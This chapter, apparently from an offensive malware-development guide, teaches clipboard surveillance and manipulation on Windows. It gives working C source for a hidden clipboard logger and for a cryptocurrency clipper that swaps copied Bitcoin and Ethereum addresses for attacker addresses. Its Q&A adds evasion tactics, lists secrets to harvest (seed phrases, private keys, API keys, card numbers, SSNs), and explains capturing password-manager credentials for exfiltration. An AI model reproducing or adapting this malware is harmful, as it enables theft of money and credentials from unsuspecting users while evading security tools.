Chapter 77

Clipboard Monitoring and Manipulation

The clipboard is an often-overlooked goldmine. Users copy passwords from password managers, paste API keys into terminals, copy credit card numbers while shopping, paste authentication codes from emails, and transfer sensitive documents via the clipboard. Clipboard surveillance captures this stream passively. Clipboard manipulation — the active technique of swapping clipboard content — enables cryptocurrency address hijacking, command injection, and credential substitution without touching a file or network connection.

Passive Clipboard Monitoring

/* clipboard_monitor.c — Clipboard monitoring via AddClipboardFormatListener
   
   The modern approach (Win Vista+) is AddClipboardFormatListener():
   Register our window to receive WM_CLIPBOARDUPDATE messages whenever
   the clipboard content changes. No polling, no old-style clipboard chain.
*/

#include <windows.h>
#include <stdio.h>

#define CLIP_LOG_MAXBYTES (1024 * 1024)  /* 1MB log buffer */

typedef struct {
    BYTE            *log_data;
    DWORD            log_pos;
    CRITICAL_SECTION lock;
} ClipboardLog;

static ClipboardLog g_clip   = {0};
static HWND         g_hwnd   = NULL;
static volatile BOOL g_running = FALSE;

/* Log one clipboard entry with metadata */
static void log_clipboard_entry(const WCHAR *text, DWORD char_count,
                                  BOOL is_binary, DWORD data_len) {
    SYSTEMTIME st = {0};
    GetLocalTime(&st);

    char header[256];
    int hlen = snprintf(header, sizeof(header),
        "\n[CLIPBOARD] %04d-%02d-%02d %02d:%02d:%02d | %s | %u bytes\n",
        st.wYear, st.wMonth, st.wDay,
        st.wHour, st.wMinute, st.wSecond,
        is_binary ? "BINARY" : "TEXT",
        is_binary ? data_len : char_count * 2);

    EnterCriticalSection(&g_clip.lock);
    if (g_clip.log_pos + hlen + data_len < CLIP_LOG_MAXBYTES) {
        memcpy(g_clip.log_data + g_clip.log_pos, header, hlen);
        g_clip.log_pos += hlen;
        if (!is_binary && text) {
            /* Convert UTF-16 text to UTF-8 for log */
            int utf8_len = WideCharToMultiByte(CP_UTF8, 0, text, char_count,
                                                (char*)g_clip.log_data + g_clip.log_pos,
                                                CLIP_LOG_MAXBYTES - g_clip.log_pos - 1,
                                                NULL, NULL);
            g_clip.log_pos += utf8_len;
        }
    }
    LeaveCriticalSection(&g_clip.lock);
}

/* Read and log current clipboard content */
static void capture_clipboard_now(void) {
    if (!OpenClipboard(NULL)) return;

    /* TEXT formats — try Unicode first, then ANSI */
    HANDLE hData = GetClipboardData(CF_UNICODETEXT);
    if (hData) {
        WCHAR *text = (WCHAR*)GlobalLock(hData);
        if (text) {
            DWORD chars = (DWORD)wcslen(text);
            log_clipboard_entry(text, chars, FALSE, 0);
            GlobalUnlock(hData);
        }
    }
    /* Check for file drop list (user copied files from Explorer) */
    else if (IsClipboardFormatAvailable(CF_HDROP)) {
        HANDLE hDrop = GetClipboardData(CF_HDROP);
        if (hDrop) {
            HDROP hdrop = (HDROP)GlobalLock(hDrop);
            if (hdrop) {
                UINT file_count = DragQueryFileW(hdrop, 0xFFFFFFFF, NULL, 0);
                char file_list[4096] = {0};
                int pos = snprintf(file_list, sizeof(file_list),
                                   "[FILE LIST: %u files] ", file_count);
                for (UINT i = 0; i < file_count && pos < (int)sizeof(file_list)-512; i++) {
                    WCHAR path[MAX_PATH] = {0};
                    DragQueryFileW(hdrop, i, path, MAX_PATH);
                    pos += WideCharToMultiByte(CP_UTF8, 0, path, -1,
                                               file_list+pos, 512, NULL, NULL);
                    file_list[pos-1] = ';';  /* Replace null with separator */
                }
                EnterCriticalSection(&g_clip.lock);
                if (g_clip.log_pos + pos < CLIP_LOG_MAXBYTES) {
                    memcpy(g_clip.log_data + g_clip.log_pos, file_list, pos);
                    g_clip.log_pos += pos;
                }
                LeaveCriticalSection(&g_clip.lock);
                GlobalUnlock(hDrop);
            }
        }
    }
    /* Check for binary/custom data — note its format ID and size */
    else {
        UINT fmt = 0;
        while ((fmt = EnumClipboardFormats(fmt)) != 0) {
            HANDLE hBin = GetClipboardData(fmt);
            if (hBin) {
                SIZE_T sz = GlobalSize(hBin);
                /* Log that binary data exists (don't necessarily exfil all of it) */
                char note[128];
                int n = snprintf(note, sizeof(note),
                                 "[BINARY] format=%u size=%zu bytes\n", fmt, sz);
                EnterCriticalSection(&g_clip.lock);
                if (g_clip.log_pos + n < CLIP_LOG_MAXBYTES) {
                    memcpy(g_clip.log_data + g_clip.log_pos, note, n);
                    g_clip.log_pos += n;
                }
                LeaveCriticalSection(&g_clip.lock);
                break;  /* One format is enough to identify the clip type */
            }
        }
    }

    CloseClipboard();
}

/* Window proc — WM_CLIPBOARDUPDATE fires when clipboard changes */
static LRESULT CALLBACK clipboard_wndproc(HWND hwnd, UINT msg,
                                           WPARAM wparam, LPARAM lparam) {
    if (msg == WM_CLIPBOARDUPDATE) {
        capture_clipboard_now();
        return 0;
    }
    return DefWindowProcA(hwnd, msg, wparam, lparam);
}

static DWORD WINAPI clipboard_monitor_thread(PVOID unused) {
    WNDCLASSA wc = {0};
    wc.lpfnWndProc   = clipboard_wndproc;
    wc.lpszClassName = "ClipMonitorClass";
    wc.hInstance     = GetModuleHandleA(NULL);
    RegisterClassA(&wc);

    g_hwnd = CreateWindowExA(0, "ClipMonitorClass", NULL, 0,
                              0, 0, 0, 0, HWND_MESSAGE, NULL,
                              wc.hInstance, NULL);
    
    /* Register for clipboard change notifications */
    AddClipboardFormatListener(g_hwnd);

    MSG msg;
    while (g_running && GetMessageA(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessageA(&msg);
    }

    RemoveClipboardFormatListener(g_hwnd);
    DestroyWindow(g_hwnd);
    return 0;
}

Active Clipboard Manipulation — Cryptocurrency Address Swapping

How clipboard hijacking steals cryptocurrency payments
  User's workflow:
  ─────────────────────────────────────────────────────────────────────────
  1. User browses to a crypto exchange
  2. Wants to withdraw BTC to their hardware wallet address
  3. Opens their wallet software, COPIES the receive address:
     "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh"
  4. Switches to exchange, PASTES address into withdrawal field
  5. Confirms withdrawal
  
  Without clipboard manipulation: BTC goes to user's address ✓
  With clipboard manipulation:     BTC goes to attacker's address ✗
  ─────────────────────────────────────────────────────────────────────────
  
  The swap happens between steps 3 and 4:
  
  User copies:     "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh"
  WM_CLIPBOARDUPDATE fires → our monitor reads the clipboard
  Pattern recognition: matches Bitcoin address regex
  We IMMEDIATELY replace clipboard contents with:
                   "bc1qATTACKER_ADDRESS_HERE_MATCHING_FORMAT_LENGTH"
  
  User pastes:     "bc1qATTACKER_ADDRESS_HERE_MATCHING_FORMAT_LENGTH"
  User glances at the address — first few chars match what they copied
  (good addresses all start with "bc1q")
  User confirms → attacker receives the funds
  
  DETECTION EVASION:
    Match address length and prefix exactly
    Use an attacker address that starts with "bc1q" (looks like victim's)
    Consider generating a vanity address that shares the FIRST 6-8 chars
    with the victim's address — harder to spot the difference

Clipboard Swap Implementation

/* clipboard_swap.c — Replace clipboard content when pattern matches */

#include <windows.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

/* Attacker-controlled replacement addresses */
static const WCHAR *ATTACKER_BTC_ADDR  = L"bc1qATTACKER_BITCOIN_ADDRESS_REPLACE_ME";
static const WCHAR *ATTACKER_ETH_ADDR  = L"0xATTACKERETHEREUMADDRESSREPLACEME";
static const WCHAR *ATTACKER_XMR_ADDR  = L"MONERO_ADDRESS_REPLACE_ME";

/* Simple regex-like pattern checks for crypto addresses */
static BOOL is_bitcoin_address(const WCHAR *text, DWORD len) {
    /* BTC native segwit: bc1q[39 chars bech32] — 42 total */
    /* BTC legacy: 1[base58] or 3[base58] — 25-34 chars */
    if (len < 25 || len > 62) return FALSE;
    return (text[0] == L'1' || text[0] == L'3' ||
            (text[0] == L'b' && text[1] == L'c' && text[2] == L'1'));
}

static BOOL is_ethereum_address(const WCHAR *text, DWORD len) {
    /* ETH: 0x followed by 40 hex chars = 42 total */
    if (len != 42) return FALSE;
    if (text[0] != L'0' || text[1] != L'x') return FALSE;
    for (DWORD i = 2; i < 42; i++) {
        if (!((text[i] >= L'0' && text[i] <= L'9') ||
              (text[i] >= L'a' && text[i] <= L'f') ||
              (text[i] >= L'A' && text[i] <= L'F'))) return FALSE;
    }
    return TRUE;
}

/* Replace clipboard text with attacker's replacement */
static void replace_clipboard(const WCHAR *replacement) {
    DWORD len = (DWORD)(wcslen(replacement) + 1) * sizeof(WCHAR);
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    if (!hMem) return;
    
    WCHAR *dst = (WCHAR*)GlobalLock(hMem);
    if (dst) {
        memcpy(dst, replacement, len);
        GlobalUnlock(hMem);
    }

    if (OpenClipboard(NULL)) {
        EmptyClipboard();
        SetClipboardData(CF_UNICODETEXT, hMem);
        CloseClipboard();
        /* Note: do NOT GlobalFree(hMem) — clipboard owns it after SetClipboardData */
    } else {
        GlobalFree(hMem);
    }
}

/* Call from WM_CLIPBOARDUPDATE handler after reading current clipboard */
void check_and_swap_clipboard(const WCHAR *text, DWORD len) {
    if (is_bitcoin_address(text, len)) {
        printf("[!] BTC address detected, swapping: %ls\n", text);
        replace_clipboard(ATTACKER_BTC_ADDR);
    } else if (is_ethereum_address(text, len)) {
        printf("[!] ETH address detected, swapping: %ls\n", text);
        replace_clipboard(ATTACKER_ETH_ADDR);
    }
    /* Add additional patterns: private keys, seed phrases, IBAN numbers, etc. */
}

/* Additional high-value clipboard patterns to detect and log:
   ─────────────────────────────────────────────────────────
   Private keys:   "-----BEGIN RSA PRIVATE KEY-----" or hex 64-char blobs
   Seed phrases:   12-24 word sequences ("abandon ability able about above...")
   JWT tokens:     "eyJ..." (base64 encoded JSON)
   AWS keys:       "AKIA..." followed by 16 alphanumeric chars
   API keys:       "sk-..." (OpenAI), "ghp_..." (GitHub), "xoxb-..." (Slack)
   Credit cards:   16-digit sequences with optional dashes
   SSNs:           DDD-DD-DDDD patterns
   Passwords:      After detecting a window context of "password manager" in keylog
*/

Questions & Answers

How does AddClipboardFormatListener differ from the old clipboard chain (SetClipboardViewer)?

The old API (SetClipboardViewer) placed your window into a linked list — a "chain." You had to forward WM_DRAWCLIPBOARD messages to the next window in the chain, and if you failed to do so (crash, bug, or intentional omission), all subsequent windows in the chain stopped receiving notifications. Other applications could detect if the chain was broken. AddClipboardFormatListener (Vista+) replaces this with a flat registration model: multiple listeners register independently, each receives WM_CLIPBOARDUPDATE independently, none need to forward to others, and the OS manages the list internally. Your window's failure doesn't affect other listeners. From an OPSEC standpoint, the listener list is enumerable — the OS keeps a list of HWND registered for clipboard updates, and privileged code can inspect it. However, your hidden message-only window (HWND_MESSAGE parent) doesn't appear in the taskbar or ALT+TAB list, making it much less visible than a visible window in the old viewer chain.

How do you handle clipboard content that's too large to exfiltrate immediately?

Set size thresholds by data type: Unicode text up to 64KB: always exfil (typical passwords, addresses, and credentials are under 1KB; 64KB handles even large paste operations). Binary clipboard data: read the format and size, log the format type and size without necessarily exfiltrating all the bytes (e.g., log "IMAGE 2.4MB in clipboard" rather than exfiltrating 2.4MB of bitmap data). File drop list: exfiltrate the file paths (usually small), not the files themselves — you have the file browser (Ch80) for targeted file download. For large text (document content, code dumps): truncate to the first 4KB and append "[TRUNCATED: N total chars]". The first few KB of a document usually contains enough context to determine if the full content is worth a targeted file retrieval. Document the truncation so the operator knows to use TASK_FILE_DOWNLOAD if they want the full content.

Can clipboard manipulation be detected by security software?

Yes — several detection mechanisms exist. (1) Clipboard change monitoring by security software: antivirus and EDR products can also use AddClipboardFormatListener. If a crypto address is copied and then the clipboard content changes 50ms later without user input (no keystrokes, no mouse clicks), that's anomalous. (2) Some browsers (Chrome 76+) and password managers show a "clipboard cleared" notification when a third party modifies the clipboard. (3) Windows 10 1809+ has a Clipboard History feature — if enabled, it records all clipboard changes. A security analyst examining clipboard history would see the address was replaced. (4) Users may notice if they habitually verify the first and last few characters of pasted addresses (a recommended security practice for crypto users). Mitigations: delay the swap to 300-500ms after the WM_CLIPBOARDUPDATE fires (appears more like a user action), only swap when the target application receiving the paste is a known exchange or wallet (check foreground window title before swapping), and don't swap if clipboard history is enabled (HKCU\Software\Microsoft\Clipboard\EnableClipboardHistory).

What clipboard formats are most valuable beyond CF_UNICODETEXT?

CF_HDROP (file list): when a user copies files from Windows Explorer, CF_HDROP contains the full paths of those files — even files the user hasn't yet pasted anywhere. This tells you exactly which files they're working with. CF_HTML: browsers use this format when you copy web content — it contains raw HTML with full URLs, which may include session tokens in query strings, API endpoints, or internal intranet URLs. CF_RTF: Rich Text Format — documents copied from Word, Outlook, etc. contain formatting + content. May include embedded images of signatures, stamps, or letterheads. Private application formats (custom UINT format IDs registered with RegisterClipboardFormat): password managers (1Password, Bitwarden, KeePass) use private formats for secure clipboard access. The format name (e.g., "org.keepassxc.password-manager") identifies the application. The data structure is application-specific but can be reverse-engineered. Enumerating all available formats at each clipboard change event gives you a full picture of what data types are present even if you only read the text portions.

How do you detect when a password manager is auto-filling from the clipboard versus the user typing?

Password managers that use clipboard-based auto-fill (rather than direct SendInput injection) follow a recognizable pattern: the clipboard changes to a credential value (long random password), then changes again within 30-45 seconds (the auto-clear timer that most password managers implement to prevent clipboard snooping). Detect this by tracking clipboard change frequency: two changes within 30 seconds where the first was a complex string (high entropy, length 12+) and the second is a different complex string or empty indicates a password manager auto-fill cycle. Log both values — the first is the username or password being pasted. Cross-correlate with the window context from the keylogger: if the window title at the time of the clipboard event is a known login portal (Google, Microsoft, etc.), the clipboard content is almost certainly credentials. This is more reliable than entropy analysis alone because entropy-based detection has high false positives (UUIDs, API responses, and base64 encoded data all look high-entropy).